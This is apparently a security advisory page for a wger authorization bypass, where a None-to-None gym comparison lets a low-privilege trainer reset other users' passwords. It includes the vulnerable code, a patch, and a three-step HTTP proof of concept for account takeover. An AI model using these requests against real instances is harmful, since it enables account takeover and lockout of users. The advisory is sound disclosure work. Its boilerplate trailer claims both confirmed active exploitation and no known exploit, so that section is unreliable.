Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-574
No affected components available
Summary
The reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.
Details
File: wger/gym/views/user.py
The authorization guard in reset_user_password (and the parallel check in gym_permissions_user_edit) uses Django ORM object comparison:
# VULNERABLE - wger/gym/views/user.py
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()
When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:
password = password_generator()
user.set_password(password)
user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})
The generated password is rendered verbatim in the response body.
Affected endpoints:
GET /en/gym/user/<user_pk>/reset-user-password->wger.gym.views.user.reset_user_passwordGET /en/gym/user/<user_pk>/edit->wger.gym.views.user.gym_permissions_user_edit
Suggested patch:
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id # raw FK int
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()
The _id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list.
PoC
Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage_gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).
Step 1 - Authenticate as trainer with manage_gym permission and gym=None:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
Step 2 - Trigger cross-tenant password reset:
GET /en/gym/user/2/reset-user-password HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>
Step 3 - Authenticate as victim (alice) using leaked password:
POST /en/user/login HTTP/1.1
Host: target
username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)
RBAC Disproof Protocol (three-scenario test):
- Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
- Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
- Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is
None-specific)
Reproducibility: 2/2 runs after clean-baseline database reset.
Impact
An attacker with gym.manage_gym permission and gym=None can:
- Reset the password of any other
gym=Noneuser on the wger instance. - Receive the new plaintext password in the HTTP response body.
- Log in as the victim immediately.
- Permanently lock the victim out (original password invalidated).
Affected deployments: every wger instance where gym.manage_gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.
Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.
This is the same structural bug class as the sibling finding affecting trainer_login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same_gym() helper.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard